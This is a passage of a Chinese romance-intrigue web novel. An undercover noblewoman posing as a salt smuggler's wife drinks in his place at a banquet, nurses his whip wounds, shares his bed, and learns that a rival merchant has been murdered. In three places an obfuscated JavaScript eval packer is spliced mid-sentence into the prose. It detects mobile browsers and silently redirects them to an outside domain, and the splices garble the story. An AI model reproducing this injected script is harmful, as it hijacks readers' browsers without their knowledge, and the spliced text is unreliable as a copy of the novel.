为首那名须发皆红的大汉停下“游戏”，迷离中带刺的眼神几乎要把她扎穿。 “哟，哪来的小妞儿，方才怎么没见过？” 其余几个也是醉得紧，放下小姑娘围将过来，嘴角流出发白的哈喇子。 “有脾气，我喜欢！喂，你会跳《步步娇》吗？给爷几个跳跳！” “来呀！跳！跳好了爷给你打赏，纳你做妾侍，保你一生荣华富贵！哈哈哈……” 眼见场面开始失控，韩老快步而至，抚须道：“诸位将军，这是谢夫人，不是什么舞姬，还请诸位稍后饮些解酒茶，我再赠诸位几壶佳酿，送回府上，还请快快回座。” 他们平日里便仗着兵权耀武扬威，此时醉意熏熏，哪还听得进人话，扬起膀子横起脖子，不依不饶道：“不！我就要看那小妞儿跳舞！” 富大友带头帮忙起哄：“跳一个！跳一个！” 红毛怪动作最快，已经上手去解李清白的裘衣。她反应更快，偏身躲了过去，却被另几个大山一样的醉汉拦住去路，只觉人为刀俎我为鱼肉。 已经看不到谢昭了，她忽然觉得有些害怕。 可这条路是她自己选的，她不能害怕。 若与他们打斗，她未必会落下风，可一旦暴露身份，再无机会埋伏谢昭身边。搔首弄姿她自是不会，随便扭扭倒未见得不行，不如就顺他们的意，简单动动步子，平息这场闹剧好了。 她挤出一副惹人怜惜的谄媚笑容：“将军，我……” “谁敢？” 一道冷硬如铁的声音破空而来，压下满堂喧嚣。 刹那间，数名黑衣人飞鸦走羽般掠入堂内，掀起阵阵呼啸的北风，刮得人心尖发颤。 她认得那些训练有素的谢府府卫，恐怕不比武将们的部下弱，只是韩老府内亦有精兵强将护卫，那些人是如何进来的，又如何能精准赶到？莫非他们一早就在帮谢昭监视这里？ 武将们虽被府卫架着胳膊拉开，却早醉得眼目浑浊，脚下踉跄，仍吵嚷着要她跳舞。 韩老自是不满谢昭的人持刀闯入，不客气道：“谢爷，若不是看在许大人面子上，我只怕要请您离席了。这些人公然闯到我府上，您是否该给我个交待？” 谢昭往许灵阶的方向看了一眼，见他神色如常，稍稍放下心来，垂手道：“韩老，我只是不愿夫人受辱，一时情急才召了人来，实在抱歉。雪醅是难得的好酒，才让诸位将军如此醉酒失态，恳请韩老帮忙解了此围，我便让他们下去，日后再向您负荆请罪。” 韩春廷谁也不愿得罪，试着和红毛怪交涉：“武将军，今日便卖韩某一个面子，放过谢夫人吧。” 富大友却小跑过来，拱火道：“武将军，这位谢夫人可是才貌双绝，舞姿更是惊为天人，今日不看，可是要悔憾终身呀！” 红毛怪本还在犹豫，一听这话，说什么也不肯松口了：“老子今天就是要看你跳舞，你敢不跳，老子让你全家陪葬！” 谢昭指着扬刀的墨卫：“那你要问问，他们答不答应！” 李清白盯着那件红袍官补上的雄狮，小心翼翼拉拉谢昭袖子：“算了，我跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248572|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是。” 谢昭眼冒金星：“什么话？我谢昭的夫人，岂可做舞姬？” 李清白小声嘟囔：“不就是扭扭屁股扭扭腰，摇两下花手，也不是很难嘛。” “我绝对不许。” 场面一时陷入僵持。红毛怪非要观舞，谢昭不允也不肯屏退下属，韩老左右为难，宾客们更是面面相觑，只盼着有人出来主持大局，平息争端。 许灵阶观场许久，一直默然不语，此刻方徐步近前，一开口便四两拨千斤： “既然各不相让，不如另寻他法。我提议，让谢夫人以酒代舞，以平诸位不快。” 李清白高兴得想立马转三个大圈圈，再给许灵阶磕一个。 这可是她梦寐以求的雪醅酒啊！ 这下可不得喝爽了！ 红毛怪将她细细打量——娇俏的小脸儿，清丽的衣裙，弱柳扶风的气质，若成了个醉美人儿，想必别有一番风味，立马改了主意： “好好好！若能陪本将军喝他个十杯八杯的，我赏一百两黄金给你！” 十杯一百两，一杯十两，还有这等好事？ 李清白兴奋地搓搓手，准备大干一场。 谢昭当然一千个一万个不愿意。只是这提议由许灵阶发起，他断没有拒绝的可能。 她酒量深浅、能否饮得，他一概不知，可只要他在，断不能让她作那起舞陪酒之态，为着她作为女子的尊严和声名。 他思忖片刻，扬手令墨卫退下，忍着肩背剧烈作痛的伤口，扫视众人道：“我替她喝。” 李清白恨不得一掌劈在他头上。 谢昭答得轻松：“有多少杯，我都替她喝。” 李清白简直要吐血：你都喝了，我喝什么？ 婢女们端着酒盘列作一排，一排十人，一盘三盏，这一巡便是整整三十杯，足以醉倒一个壮汉。谢昭咬着灰白的嘴唇，故作潇洒地端起一杯，仰脖饮尽，面上已泛起微微潮红。 他撑身欲倒的样子，令她想起昨日种种。 这人身上有伤，哪里能喝酒啊！ 她情急之下冲口而出：“谢昭！” 她从未这样恳切地唤过他，也从未这样深情地望过他。 相隔数十步，谢昭再也压不住情意，只颤抖着酒杯，回敬她一句无声的“我还好”。 那些丝丝缕缕的情意，同渐浓的酒意侵布他全身，他素来不善饮酒，却也是真的想醉这一回。 谢昭咬着牙又连饮两杯，步履已然不稳。李清白再看不下去，猛地起身夺过他手中酒盏：“逞什么强？这一杯杯喝下去，身子还要不要了？” 谢昭伸手欲夺回：“你少管，吃你的席去。” 她却腕子一拧轻巧避开，仰头饮尽：“我酒量极好，你一边待着去。” 谢昭欲再拦，无奈伤势未愈气力不济，竟被她反手推开，只得眼睁睁看她接连痛饮数杯，在满堂轰雷般的喝彩声中扬起容光焕发的脸。 红毛怪抚掌大笑，果真命人捧出一盘黄澄澄的金锭，信手抛给她，如同赏赐伶人一般。她却丝毫不觉轻慢，喜滋滋搂了个满怀。 这以后，谢昭再没和她说过一句话。 离席后，他始终面沉如水，没给过她任何好颜色。 李清白揣着那包金子，拿手肘戳戳他：“挣了这么多金子，高兴点儿嘛。” 谢昭却骤然震怒：“陪人饮酒作乐，换这些赏赐，难道很光荣吗？” 14. 上药 李清白一下就火了：“什么叫陪人饮酒作乐？话别说那么难听！谢昭，我是在替你解围。” 谢昭火更大了：“我几时要你替我解围了？那莽夫若真逼你跳舞，我便和他硬刚到底。” “比划两下就能解决的事，为何非要动武，弄得大家难堪呢？” “你是家世清白的贵女，不是给人作践的舞姬！若再这般轻贱自己，我绝饶不了你。” “谢昭，我说你这个人就是死脑筋……” 她越说越气，步子又急又快，吵没两句便将谢昭甩在身后。走出好一段路，却迟迟未听谢昭接下句，回身一看，他正扶墙而倚，整个人如同被抽去了筋骨一般，额间渗出豆大的冷汗。 “我就说叫你别喝吧！非和自个儿过不去。” 她没忍住，在他脑门儿上弹了一下，指尖带下不少汗来。 谢昭还在生气，不肯要她扶，只咬紧牙关，一步一挪，强撑上了回府的马车。 风越刮越紧，李清白裹着那身狐白裘，看谢昭瘦瘦一条缩在角落，已经打起了寒战，心下不忍，再顾不得什么嫌隙，解下裘衣披在他身上。 马车一颠簸，谢昭难掩痛苦，清逸的五官搅作一团，她只觉心抽得厉害。 “谢昭……很痛吗？你后来有上过药吗？” “我很好，不用你管。” 她握住他嶙峋的手，凉意透彻心扉，便伸出双手，将他的双手蜷在掌心，试图过给他一些温度。 谢昭半阖着眼，并未拒绝，齿间上下开合，已是神思混乱。 她试探着摸了摸他的额头，已然高热，让他靠在自己肩头，急急催那马夫： “快些，再快些！他病得厉害，我们要看大夫啊！” 她本想顺路找间医馆让谢昭住下，可他怎么也不同意，坚持要回意园。马车刚落，小沛就欢喜跑过来，见谢昭这副模样，不免疑惑心惊： “爷这是怎么了？” 她用力撑住他腋下，急得快要哭出来：“你快去请大夫！不惜一切代价，请最好的大夫来！” 怀中谢昭迷迷瞪瞪回她：“什么不惜一切代价……你不要乱花我的银子……” 她跟拖病猫儿似的，边拖边叫他闭嘴：“你个死奸商，要钱不要命。” 费力拖了一阵，她和他商量：“我叫他们用兜子来抬你吧。” 他猛摇头：“我不要，我要自己走。” “都这样了，还怎么……” 谢昭铁了心自己走，她只得作罢。 行至鸣鹤馆附近，谢昭突然剧烈作呕起来，她也不敢去拍他的背，仍是让他借力撑着，心道把脏东西吐出来或许就好了。 谢昭吐着吐着，她听见草丛中传来异响，随即有只三花狸猫打着滚儿翻出来。她甚是喜爱这些小家伙，也想逗谢昭一乐，便招呼他往那边瞧。 谢昭接下来的反应却让她大为不解。 他好像见了鬼，又好像见了仇人，指着那猫红了眼眶，浑身不住发抖，吓得小家伙呲溜一下攀上屋檐，头也不回地消失了。 她在他身上感到强烈的恐惧，比见许灵阶还要强烈的恐惧。他霎时成了个不能言语也不能走路的孩子，瘫在她身上哆嗦不止，无助又绝望。 她不敢抱紧他，又要安抚他，用双臂轻轻将他拢着，将他湿透的脑袋埋在自己胸前，听见自己的心跳声如擂鼓般清晰。 “好了好了，一只猫而已，没事的。” 谢昭在她怀里安静了片刻，忽然一把推开她，侧身吐了个痛快。 她也没嫌弃，静静等他吐完，给他稍稍清理了污秽，便撑着他继续走。 走到拨云堂，谢昭明显已经耗尽了力气，她正思考着是让人来抬他还是背他进去，谢昭就如一具被风吹倒的枯木，直直栽了下去。 “谢昭！谢昭！” 她慌了神，想把他从地上铲起来，一双葱白的小手伸到她跟前，声音软糯又好听： “谢夫人，你先让人把他背进房，我来医他。” 噢。 倒是忘了，府里还住着个小医女呢。 许见卿已经救过知雨，想必也不会害谢昭。她飞速点头，像抓救命稻草般抓住她的手：“见卿，我可指着你了。” 许见卿命人拿了药箱和巾帕热水，在屋内忙活了两下，便将在外焦急踱步的她喊了进去。 全然不似方才那副亲切模样，开口便斥责起来： “你是怎么回事？昨晚给的药都没用吗？他伤口已经感染，身上还沾了酒气，身为夫人，你就这样照顾他吗？” …… 李清白瘪着嘴不说话。 那也得人家愿意啊。 谢昭趴在床上，许见卿站起身，露出他后背上触目惊心的红痕。李清白一眼便知这是浸了盐水的鞭伤，还交杂着许多旧伤疤，心疼地跪在床边轻喊他： “谢昭。” 他哼哼地应了一声。 许见卿将与昨晚同样的方药盒递给她，连同一枚干净的小竹片：“伤口不要沾水，一日涂抹三次，内服的药我再命人去煎，不要让他着凉、受刺激。饮食清淡些，忌生冷辛辣之物，河鲜也不要碰，有事随时找我。” 她投以感激目光。 许见卿走后，她打开药盒，蘸了些浅黄色的药膏，颤颤巍巍伸到谢昭背后，又在距伤口半寸处停下来。 她是个粗人，从没给别人上过药，更何况，这人和她的关系难以言喻，让她不知该如何下手。 嗯…… “啊！” 谢昭几乎要从床上弹起来。 她下手怎么比元旌还重啊！ 他拧过那张虚弱不堪的脸，咧着嘴赶她走：“你去把许见卿叫来，或者叫个什么小丫头来。” 她非常不好意思：“谢昭，我下手有点没轻没重，你忍着点哦。” “嘶——” 谢昭总算知道，受二道刑是什么滋味了。 “你知道吗，”他恨恨道，“我平日里从不叫痛的。” 李清白故意活跃气氛：“那是你从前还不够痛。 这话倒触动谢昭许多回忆。 那些故人故事，走马灯一般在他眼前闪过。 还不够痛吗？ 与他彻夜论道的授业恩师，在历家倾覆之际明哲保身，落井下石； 全族上下七十六口，或毙于狱中，或斩于市曹，或丧于岭南，独活他一个。 从此他隐姓埋名，从扛盐脚夫做起，于刀尖舔血求生，一步步爬到许灵阶身前。 他身后站着百余位无辜殒命的官员，十二年苦守边关的至交，为他出生入死的墨卫兄弟…… 还不够痛吗？ 是了，那时他已然感到麻木，丝毫不觉得痛了。 如今向死而生，这记真切的痛感反而在提醒他，撑下去，走下去。 他把头埋在臂间，轻轻笑了。 “你来吧。” …… 后来，谢昭果真一声不吭了。 她知道那些伤痕又多又深，再怎么轻手轻脚，他也会很痛的。 天很冷，汗水却从他肌骨间源源不断渗出，她让他忍不住就喊出来，他却缄默如空谷。 她看不见他此刻的神情，却仿佛能想见那张无比倔强的脸，如碎玉染血般令人不忍。 待她收拾妥当准备离开时，他却忽然低声开口： “多谢你……麻烦你……” 他们之间已经经历了很多，这一声过分客气的道谢让她无端别扭起来，嘟囔道：“谢我做什么？我们本来就是夫妻啊。” 那头静了片刻，随即语带笑意：“是，夫人。” 她走出拨云堂时，正遇信鸽飞回，信中夏荫道已经查出了些许眉目，尚需一段时间调查，预计酉时回意园，请她耐心等待。 知雨还在章华书院学习，她也懒得出门转悠，趁谢昭行动不便，将意园里里外外翻了个底朝天，可惜并无什么可疑之处，索性边和下人们玩叶子戏，边等夏荫回来。 酉时将过，夏荫风尘仆仆归来。 她关紧门窗，递过一杯清茶， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261508|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏荫一饮而尽，又伸手要了三杯，这才抹抹嘴开始说话。 “我又去了一趟仙云观，扮成匠人四下查探，发现那里有个地下暗房，里头满是新鲜的刑具和血迹，应是有人受到了虐待。” 她颤声道：“许灵阶在那儿鞭打了谢昭……” “鞭打？所为何事？” 她咬唇：“大概……是因为我吧。早知道……” 夏荫敏锐地捕捉到她情绪：“你同情他？同情那个助纣为虐的走狗？他活该！既是攀附首辅有了今天，也该知道玩火自焚的道理。” 她低垂的羽睫让夏荫心生怜惜，平和了语气道：“不过，我总算知道他来太州是做什么了。谢昭不仅承运官盐，操纵盐引获利，更借官盐做掩护，偷运大量私盐买卖，利润可达官盐十倍之多。数日前，他的一批盐货在太州河道无故失踪，人、船、货像幽灵一样，一夜之间下落不明，他是来调查清楚的。” 李清白想起那些横行街头的府卫，又想起知雨曾说过谢昭为挽回损失受伤流血，隐隐有些为他担心。 “目前最惹人怀疑的是太州本地盐商富大友。他有私人船队，更和盐运司建立了交情，此前也因为盐运一事与谢昭结怨，说不定正是他劫船报复。不过，谢府的人事无巨细搜查，也没查到那些东西的下落。” 富大友？她从里到外紧绷起来。旧怨未消，新仇又结，这两人该不会拼个你死我活吧？ 想起宴席上谢昭那句“我会让他们付出代价”，她顿觉不安，可想到谢昭正老老实实趴在床上养伤，又轻松了几分。 只是…… 她叮嘱夏荫：“我已经大半日没见过元旌了。他是谢昭心腹，谢昭伤成这样也没见他回来，定是有更要紧的事做。你想办法找找他下落，别让他在外行凶作恶。” “好。” “谢昭这边，一定隐瞒了许多不可说之事。我计划和他走近些，直接从他嘴里套话，比如……在他那里留宿什么的。” 夏荫激动握拳：“什么？你疯了！你，你可还没有婚配哪！” “名义上我已经是他的夫人。离他越近，越有机会找到我们想要的证据，把他们一网打尽。” 她闭上眼，费力消融那些无端冒出来的小心思。谢昭贩私盐、贿赂许灵阶、帮他谋财害命是事实，她必须坚定不移地站在他的对立面。 “可他毕竟是个壮年男子……” “你忘了？他患有不举之症，你担心的那些，必然不可能发生。” “就算是这样，那小鬼能同意吗？他可天天黏着你，每晚睡前都要你讲故事的。” “等他从书院回来，我和他好好说。” …… 夜渐深时，知雨蹦蹦跳跳背着小书袋回来，纵身扑进她怀里，她也给了他一个大大的亲亲。香香软软的小人儿坐在她怀里，兴高采烈地给她讲在书院的所见所闻。 这些天来她无数次感受到这样奇妙又平凡的幸福，也这才知道昨日他们在渡口救下的老头儿有多“离经叛道”——这位名叫汪垠的哲人，早年灶户出身，一路求学行道，身体力行地传扬百姓日用之说，不惜得罪圣人和官府，幸得谢昭恶名“庇佑”，才能继续做那章华书院的主讲。 知雨叭叭讲着，她连连点头。 “存天理灭人欲”不过是“上等人”维持秩序的官话，天理能让人吃饱饭吗？“下等人”的安乐，才是天理和人道所在。 喂知雨吃完最后一口饭，她揉了揉他软软的头发，柔声商量道：“知雨啊，娘亲有件事想同你商量。你如今已是小男子汉了，以后自己睡一间屋，好不好？” 小团子一听，小嘴立刻瘪了下去，憋红脸哭了起来：“我不要！我不要一个人睡！” 李清白替他擦干眼泪，声音放得更软：“可是，爹爹也很需要娘亲啊，娘亲想陪在爹爹身边。你不是也想爹爹和娘亲永远在一起吗？” 知雨眨巴着湿漉漉的大眼睛，眼珠骨碌碌转了两圈，忽然破涕为笑： “那——那我以后都要挤在爹爹和娘亲中间睡！” 15. 同寝 大多数时候，她是很喜欢知雨的，可总有些时候，她是想把他打一顿再封印在地底下不出来的。 比如现在。 无论她怎么说，知雨就是不同意他们两个单独睡，非要一家三口一起睡。她不明白，这么小的人儿，怎么有那么多眼泪可流，像滔滔江水绵延不绝。 她一点儿办法都没有了，只得抱着他去找谢昭，指不定这父子俩见了面生出什么龃龉，她就能顺理成章把孩子抱下去。 晚食是送到谢昭房里的，这会儿天色晚了，想必他已经吃过，她便让小沛带了些饭后茶点，显得没那么刻意。为了留宿，她特意沐浴更衣，不让谢昭找出什么错处，敲门的时候，依稀望见他朦胧的轮廓，心还是怦怦直跳。 谢昭起身开门，仅着中衣披袍，面露惊诧。 “你们……来做什么？” “哦，没什么，来给你送些茶点。” 等小沛摆完盘，谢昭立刻就要关门。 她伸肩卡住门缝：“嘿嘿，也顺便让知雨给你汇报下今日所学。” “那……进来吧。” 照常理，谢昭对知雨管教很是严格，多爱在读书写字的问题上刁难，因此她静静吃着枣酥，暗暗等着谢昭出言训斥，这样她便能及时出手调停矛盾，也借劝慰谢昭的机会夜宿于此。 可谢昭今天很满意。 “你今日讲的不错，的确是长进了。汪垠是位好老师，你要跟他用心学。” “是，爹爹。” 她瞅见知雨笑得像朵小红花，谢昭也有了慈父的模样，嘴里好吃的也不香了，生怕知雨要留在这儿。 怕什么来什么，下一刻知雨就趴到谢昭怀里撒娇：“爹爹，我今晚要睡在这儿，和你，和娘亲。” 谢昭瞟了她一眼，摇头道：“不好。爹爹近来睡得浅，会吵到你和娘亲的。” 知雨嘟嘴摇晃着脸颊的小粉肉：“不嘛，不嘛！” 谢昭为难地松了口：“那……今晚你跟爹爹睡。” 闻听此话，她拍桌而起，把枣酥震成了渣渣：“不行！” 一大一小同时看向她。 她羞涩开口：“那个，今晚我想和你睡，谢昭。” 谢昭拢了拢衣襟：“姜越你这是要做什么。” 她走过去坐到他身边，作出含情脉脉的样子：“见卿今天都凶我了。谢昭，我来照顾你。” 谢昭无语。 知雨乐呵到不行：“好耶！爹爹娘亲陪我玩！陪我睡觉！” …… 这个年纪的孩子，精力旺盛得好像一茬茬冒头的野草，永远没有消停的时候。屋子里本没有什么可玩的，知雨却总能找他属于他自己的新奇，一会儿拉着他们玩躲猫猫，一会儿蹲在地上帮蚂蚁搬家，一会儿又扮成神仙打妖怪，折腾了足足一个时辰，两个人都精疲力尽。 这时知雨提出要举高高骑马马。 谢昭坐在凳上直喘气：“你去。” 李清白扶墙捶着腰：“你去。” 两人都不想再动一下，也是真动不了了。 小沛也明白当务之急是消耗完知雨的精神，让他乖乖睡觉，小姐才好问姑爷话，于是自告奋勇抗起带娃重任，将知雨溜了一圈儿又一圈儿，小人儿总算枕着她手臂进入了梦乡。 待小沛会意将知雨抱下去，屋里就只剩他们两个人了。 谢昭仍未放弃赶她走：“你还不回去？” 她脱了鞋袜，弯腿坐在床上，将仅有的一方锦枕抱在怀里，睁大眼睛扮可怜：“我今晚就要留在这里。” 谢昭不知她葫芦里卖的什么药，很快叫人拿了新的被褥来，在木榻上搭了个新“床”，誓要与她“划清界限”。 这…… 也行吧。 虽然隔得有点远，和他说话总不至于听不见。 “谢昭。” “谢昭！” 她叫了他几次，他却根本不应，一手撑在下颌，一手捧了本不知名的书册，倚窗夜读，分毫不染书外事。 烛火与月光交织，勾出一室清雅，长风同时拂起书页和他的发梢，她于半梦半醒间，恍见商人皮下的文人骨。 他不是汲汲营营多年吗？他原来也会读书的吗？ 与书卷融为一体的谢昭，同她见过的那些翰林学士们，分明没什么两样。 谢昭读得很慢，她也慢慢看着他，脑子里突然冒出一个念头。 要是时间能够停在这一刻就好了。 她想一直看着他。 她被自己这个想法吓得一惊，忍不住又叫了谢昭，这回叫得无比大声。 谢昭微抬眼皮，闲闲道：“你若困了就先歇着，反正我们也互不影响。” “那药不是得一天搽三次么？你……” “我已上过了，不用你操心。” “你这伤到底是谁弄的？为何伤你？” “许见卿不是已经告诉你了么？还问我做什么。” 她捅破那层窗户纸：“谢昭，我知道是许灵阶打了你。若是因我莽撞，我向你道歉。” 谢昭合上书册，眉眼被灯火照得愈发深邃：“不关你事。不过，许大人向来喜怒无常，这也是我为何要气你不打招呼跑来太州。明日，明日一早，我一定送你们回江都。” 她当然不同意：“不行，你身子还需要人照料，知雨也和那汪夫子十分投契，还远没到回去的时候呢。我向你保证，绝不闯祸给你添麻烦。” “不行，此地不宜久留。” “那，这儿的美食我还没吃够呢！” “走之前我请你吃顿好的，贵的稀奇的随你挑，有能带走的一概带走。再者，回江都一样有好吃的，你想吃什么，我都让他们给你做。” 她有点没辙了，噘嘴摸着胸前那枚双鱼佩，苦兮兮央求他： “夫——君——” 谢昭眼神蓦地亮了。 “求求你，让我留下来好不好？” 谢昭强作正经，直到那股喜不自禁的得意，爬上不自觉弯起的嘴角。 “那……好吧。” 她泫然欲泣。 “不过，千万不要招惹许大人，也不要在外面到处晃。元旌这几日另有安排，你每日就带着知雨去章华书院，做做功课品品佳肴好了。” 听到元旌二字，她心生警惕，试探道：“他不是一向忠心耿耿吗？你都伤成这样了，他也不回来看你。” “他有任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267070|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身，不便分心。” “什么任务啊？是生意上的事吗？” “别问那么多。你只需把自己和知雨顾好。” 她佯装对做生意感兴趣：“其实，我也想和你学学生财之道。运盐一定很赚钱吧？” 谢昭苦笑：“南奔北走，日晒风吹，成本不计其数，顶多也就赚趟差价。有时运气不好，弄丢了官家的盐，老本都要赔进去；有时遇上狂风暴雨，连命都要搭进去。” “既然这样，为什么还有大批人要冒险呢？” “朝局动荡，外敌环伺，许多人连生计都没了，不得不铤而走险，赚那河道里的一点金。如今行情是越来越差了，朝廷虽大量发行盐引，商人却往往排队数年支不到盐，无利可图便无意纳粮开中，边关军粮不济，士兵们自然也就缺乏战斗力。如此下去，边境不保是迟早的事。” 本朝施行正盐开中、余盐在司纳银双轨制，李清白略有耳闻——由中央户部张榜，写明上纳事宜，商人将米粮等物资运送到指定边仓，凭“勘合”到指定盐运司获取签发的盐引，排队到各盐场支盐，又到各地批验所检斤过秤，勘验无误后方可上市买卖。 盐商为获取更大的利润，在支取正盐的同时，往往夹带私盐，被盐务机构查获后，就作为余盐参与开中，商人无需大费周章运输米粮，只需纳银便可获取这部分余盐，户部也经此收缴更多盐课。 只是近年来，皇亲权贵频繁向恒熙帝奏讨大额盐引，私下插队支取或买卖，严重扰乱市场，盐商们只好想尽办法偷运私盐，与盐场灶户私下交易，开中一制已然朝不保夕。 她心道就是谢昭这种无良奸商破坏了盐制，损害了盐课，忍着脾气再探： “边关之事，我甚少关注，我只知道你一定为许大人挣了不少银子。” “那是自然。不过，他对我有‘知遇’之恩，若不是四年前与他结缘，我绝不会有今天。” 谢昭动了动喉结，咽下满腔恨意。 是啊，若不是这位首辅大人，他祖父怎么会蒙冤入狱，全族怎么会流放岭南，他最疼爱的妹妹怎么会曝尸荒野被野猫啃食，他又怎么会踩着满地盐碱和血汗，一步步成为这个他自己都唾弃的大盐枭。 “你都为他做了些什么？” 谢昭不敢闭眼。他怕一闭上眼，那些不堪的往事便如藤蔓般缠得他喘不过气来。他怕那些人找他索命——尽管他们的命本就留不住，尽管他也拼死留住了许多。 “你所想象的、厌弃的那些，我都做了。阿越，你还想留在我身边吗？” 李清白一时梗住。 她清楚他是个杀人不眨眼的盐枭，是许灵阶的刽子手，是大旻王朝的罪人，可她也控制不了自己越来越汹涌的爱意。 她想抓住证据，送他下诏狱。 她也想留在他身边，待得久一些。 她心乱如麻，拿锦枕遮住自己的脑袋，倒在床上闷闷道： “夜深了，我们歇息吧。” 谢昭吹灭烛盏，却在一瞬间剧烈咳喘起来。 窗外风声渐凛，她的目光落在他单薄的身躯上，忽而心生恻隐。 “谢昭……”她唤他，“天太冷了，你，要不要到床上来？” 16. 滋事 谢昭怔然。 他呆滞了许久，确认自己没有听错，才缓缓抱起那卷素棉被，梦游似的踱到床前。 他朝前迈了一小步，又像受了什么惊吓一般，迅速退了回来，好似怯懦的学生之于严厉的夫子。 “我，真的可以吗？” 他卑微地垂下头，等待她的允诺。 李清白从没看过他这般卑躬屈膝，噗嗤笑了：“谢昭，这是你家啊。” 家…… 他九年前就没有家了。 后来救下知雨，收养了他，勉强称得上一个家。 而现在…… 他将目光小心翼翼落在她身上，生怕亵渎了她。 如果可以，他想和她有个家。 他想拥住她，为她抵挡一切，更想告诉她，他十三岁便中了解元，他也曾一心入仕报国，他从未忘记过祖父临终嘱托，他与她本该并肩。 可现在…… 她是锦衣卫指挥同知之女，她并非心甘情愿嫁给自己，她卧底到自己身边，一心擒奸惩恶，送自己下诏狱，她与他注定为敌。 李清白看见谢昭笑得很苦，摆摆手招呼他上来：“你来呀。” 谢昭像只迟钝的蜗牛，一点点挪到她身边，又把自己裹得紧紧的，僵着身子不说话。 他从未和女子同寝过。 更何况是他珍视的她。 李清白倒是大方得很，不仅替他把被角掖严实了，还顺便摸了摸他的手。 “好多了，是不是？你那手跟个冰坨子似的，若在榻上过一夜，可不得冻僵啊。” “……” “你也是，自己都冻坏了，还把那裘衣给我，也不晓得照料自己吗？若有个三长两短，你让我们怎么办？” “……” “欸，对了，今日在韩老府上，那富大友夫妇为何一见你就气势汹汹啊？你们从前有什么过节吗？” 谢昭叹口气：“还不是抢生意抢地盘那些事，道上常有。他若安分守己，那便相安无事；他若有心滋事，我也不会让他好过。” “谢昭，你会对他下手吗？” 一想到今日他屡次三番出言不逊，又险些害她受辱，谢昭恨不能把富大友当陀螺抽。可他的那批货极有可能是被此人劫了，他必须沉声静气，追查出一个结果。 他坚决地摇摇头：“不会。” “真的不会？” “不会。我保证不骗你。” 李清白像是松了一大口气似的，摇着脑袋嘀咕起来：“那可好。虽说他是个泼皮货，你也不要和他一般见识，冤冤相报何时了，大家都宽容一点，和气生财嘛……” 她絮絮叨叨说了许多，他倒也有话想问她。 “阿越……”他声音极轻。 她没有回答。 “阿越……”他凑近些。 她颈间雪白，耳朵绯粉，像只毛茸茸的小兔，蹬了两下腿儿便安静了下来。 只听得她咂巴咂巴嘴儿，含混不清道：“鱼饼虾球，我要吃鱼饼虾球。” 他在心里默默记下。 “糖醋菱角排骨。” 又记。 “蟹黄粉皮。” 再记。 他一连记下了十几道菜名，笑她做梦还不忘那些好吃的，再这样下去，府上只怕要被她吃空。这会子太晚了，喊人进来也不方便，明日再让他们做这些好菜，叫她吃个高兴。 他也感到有些乏了，打算在心里默念最后一遍，便好好睡一觉。 他阖上眼，黑夜令他心安。 像是暖洋流过冰山，寂寂无声里，一袭温热扑面而来，柔软的触感令他不禁意乱神迷。 他睁开眼。 她抱了他。 她抱了他！ 他丝毫不敢动，只敢绷着心弦，将所有的温柔倾注在她脸上。 虽知道这只是她无意识的行为，他也满足得很。 这样也算相拥了。 他久久震撼，久久回味，直到她翻身过去，仍贪恋其中不能自拔。 从此一夜无眠。 …… 一大清早，李清白就被吵醒了。 她从未听得府里这样吵闹过，呼喊声跑动声像爆竹般在她耳边炸开，吵得她睡意全无。 她晕晕乎乎往身旁摸…… 咦？ 谢昭人去哪了？ 她一个鲤鱼打挺翻身起来。 被子是整齐叠过的，屋里是什么痕迹都没有的，人是不知道什么时候离开的。 她喊小沛，小沛迟了许久才来，急急道： “小姐，您赶紧随我去看看吧！出大事了，昨夜那富大友竟在府中被刺身亡，富夫人带了十几个家丁府卫，在门口叫嚣闹事。天还没亮姑爷就被官府的人带走了，这可怎么是好呀！” 她快速理清思绪：“富大友被杀，谢昭有充足的动机，富家报了官，因此他作为嫌疑犯被带走羁押，当务之急是先平息事端，再调查清楚案发情形，替谢昭洗清嫌疑。” 不知怎地，她十分愿意相信谢昭昨夜所说，他说不会骗她。 这时，知雨也大哭着冲进来：“娘亲！他们把爹爹抓走了，你快去救爹爹呀！爹爹不是坏人，他不是坏人！” 她心疼地抱起涕泗横流的小人儿，把他搂在怀里亲了亲，和他拉勾为证：“娘亲向你保证，一定把爹爹好好带回来。” 知雨勾起小指，按下拇指与她完成约定。 夏荫至今未归，她让小沛带好知雨，转头写了封密信，交代夏荫速去州衙打点，千万别让谢昭受刑，哪怕有身份暴露的风险。 他那副身子骨，断断禁不起任何折磨了。 遣了信鸽，她深吸一口气，穿过不再静谧的风景，远远就看见那位凶神恶煞的夫人，正张牙舞爪地和下人们交涉。 “夫人来了！” “夫人！” 众人齐刷刷给她让出一条道。 